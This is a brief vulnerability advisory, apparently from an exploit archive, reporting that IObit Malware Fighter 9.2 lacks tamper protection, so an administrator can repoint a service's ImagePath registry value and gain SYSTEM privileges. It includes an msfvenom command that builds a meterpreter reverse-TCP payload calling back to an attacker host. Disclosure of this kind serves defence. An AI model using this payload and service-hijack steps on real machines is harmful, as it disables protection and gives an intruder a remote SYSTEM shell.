IObit Malware Fighter 9.2 Tampering / Privilege Escalation

IObit Malware Fighter version 9.2 fails to provide sufficient anti-tampering protection and that shortcoming can be leveraged to escalate to SYSTEM privileges.

SHA-256 | c6e27a8d7b7645ace9a03e1d2218ca5e5bdc9d279978795484de8145fd043895

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IObit Malware Fighter 9.2

IObit Malware Fighter is an advanced malware & spyware removal utility that detects, removes the deepest infections, and protects the PC from various of potential malware, ransomware, cryptojacking, spyware, adware, trojans, keyloggers, bots, worms, and hijackers, etc. It includes the unique "Dual-Core" engine, driver-level technology and the heuristic malware detection.
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Vulnerability Type:
Missing Tamper Protection
Incorrect Authorization

CVE Reference:

Security Issue:
IObit Malware Fighter prior to version 9.2 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling IObit Malware Fighter and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.
Change ImagePath path to a malicious executable.

Create malicious executable through msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe

Modify (ImagePath) with the path of the malicious executable - Restart

Network Access:


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